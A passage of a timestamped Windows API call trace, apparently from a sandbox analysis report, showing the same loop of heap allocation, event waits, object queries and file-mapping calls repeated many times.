Flags=0x8, Size=0x200) returned 0x11f6058 [0093.702] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.703] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.703] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.703] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.703] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.703] ResetEvent (hEvent=0xdc) returned 1 [0093.703] SetEvent (hEvent=0xe0) returned 1 [0093.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.703] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.704] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.704] ResetEvent (hEvent=0xdc) returned 1 [0093.704] SetEvent (hEvent=0xe0) returned 1 [0093.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.704] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.704] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.704] ResetEvent (hEvent=0xdc) returned 1 [0093.705] SetEvent (hEvent=0xe0) returned 1 [0093.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.705] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.705] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.705] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.705] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.705] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.706] ResetEvent (hEvent=0xdc) returned 1 [0093.706] SetEvent (hEvent=0xe0) returned 1 [0093.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.706] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.706] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.706] ResetEvent (hEvent=0xdc) returned 1 [0093.706] SetEvent (hEvent=0xe0) returned 1 [0093.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.707] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.707] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.707] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.707] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.707] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.707] ResetEvent (hEvent=0xdc) returned 1 [0093.707] SetEvent (hEvent=0xe0) returned 1 [0093.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.708] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.708] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.708] ResetEvent (hEvent=0xdc) returned 1 [0093.708] SetEvent (hEvent=0xe0) returned 1 [0093.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.709] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.709] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.709] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.709] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.709] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.709] ResetEvent (hEvent=0xdc) returned 1 [0093.709] SetEvent (hEvent=0xe0) returned 1 [0093.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.710] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.710] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.710] ResetEvent (hEvent=0xdc) returned 1 [0093.710] SetEvent (hEvent=0xe0) returned 1 [0093.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.710] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.711] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.711] ResetEvent (hEvent=0xdc) returned 1 [0093.711] SetEvent (hEvent=0xe0) returned 1 [0093.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.711] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.712] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.712] ResetEvent (hEvent=0xdc) returned 1 [0093.712] SetEvent (hEvent=0xe0) returned 1 [0093.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.712] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.713] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.713] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.713] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.713] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.713] ResetEvent (hEvent=0xdc) returned 1 [0093.713] SetEvent (hEvent=0xe0) returned 1 [0093.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.713] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.714] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.714] ResetEvent (hEvent=0xdc) returned 1 [0093.714] SetEvent (hEvent=0xe0) returned 1 [0093.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.714] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.715] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.715] ResetEvent (hEvent=0xdc) returned 1 [0093.715] SetEvent (hEvent=0xe0) returned 1 [0093.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.715] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.715] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.715] ResetEvent (hEvent=0xdc) returned 1 [0093.715] SetEvent (hEvent=0xe0) returned 1 [0093.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.716] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.716] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.716] ResetEvent (hEvent=0xdc) returned 1 [0093.716] SetEvent (hEvent=0xe0) returned 1 [0093.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.717] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.717] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.717] ResetEvent (hEvent=0xdc) returned 1 [0093.718] SetEvent (hEvent=0xe0) returned 1 [0093.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.718] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.718] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.718] ResetEvent (hEvent=0xdc) returned 1 [0093.718] SetEvent (hEvent=0xe0) returned 1 [0093.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.719] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.719] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.719] ResetEvent (hEvent=0xdc) returned 1 [0093.719] SetEvent (hEvent=0xe0) returned 1 [0093.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.720] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.720] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.720] ResetEvent (hEvent=0xdc) returned 1 [0093.720] SetEvent (hEvent=0xe0) returned 1 [0093.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.720] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.721] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.721] ResetEvent (hEvent=0xdc) returned 1 [0093.721] SetEvent (hEvent=0xe0) returned 1 [0093.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.721] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.722] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.722] ResetEvent (hEvent=0xdc) returned 1 [0093.722] SetEvent (hEvent=0xe0) returned 1 [0093.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.722] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.722] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.723] ResetEvent (hEvent=0xdc) returned 1 [0093.723] SetEvent (hEvent=0xe0) returned 1 [0093.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.723] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.723] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.723] ResetEvent (hEvent=0xdc) returned 1 [0093.723] SetEvent (hEvent=0xe0) returned 1 [0093.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.724] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.724] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.724] ResetEvent (hEvent=0xdc) returned 1 [0093.724] SetEvent (hEvent=0xe0) returned 1 [0093.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.725] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.725] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.725] ResetEvent (hEvent=0xdc) returned 1 [0093.725] SetEvent (hEvent=0xe0) returned 1 [0093.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.725] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.726] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.726] ResetEvent (hEvent=0xdc) returned 1 [0093.726] SetEvent (hEvent=0xe0) returned 1 [0093.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.726] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.727] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.727] ResetEvent (hEvent=0xdc) returned 1 [0093.727] SetEvent (hEvent=0xe0) returned 1 [0093.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.727] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.728] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.728] ResetEvent (hEvent=0xdc) returned 1 [0093.728] SetEvent (hEvent=0xe0) returned 1 [0093.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.728] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.728] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.728] ResetEvent (hEvent=0xdc) returned 1 [0093.728] SetEvent (hEvent=0xe0) returned 1 [0093.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.729] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.729] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.729] ResetEvent (hEvent=0xdc) returned 1 [0093.729] SetEvent (hEvent=0xe0) returned 1 [0093.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.730] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.730] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.730] ResetEvent (hEvent=0xdc) returned 1 [0093.730] SetEvent (hEvent=0xe0) returned 1 [0093.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.730] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.731] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.731] ResetEvent (hEvent=0xdc) returned 1 [0093.731] SetEvent (hEvent=0xe0) returned 1 [0093.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.731] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.732] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.732] ResetEvent (hEvent=0xdc) returned 1 [0093.732] SetEvent (hEvent=0xe0) returned 1 [0093.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.732] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.733] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.733] ResetEvent (hEvent=0xdc) returned 1 [0093.733] SetEvent (hEvent=0xe0) returned 1 [0093.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.733] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.733] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.733] ResetEvent (hEvent=0xdc) returned 1 [0093.733] SetEvent (hEvent=0xe0) returned 1 [0093.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.734] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.734] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.734] ResetEvent (hEvent=0xdc) returned 1 [0093.734] SetEvent (hEvent=0xe0) returned 1 [0093.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.735] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.735] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, 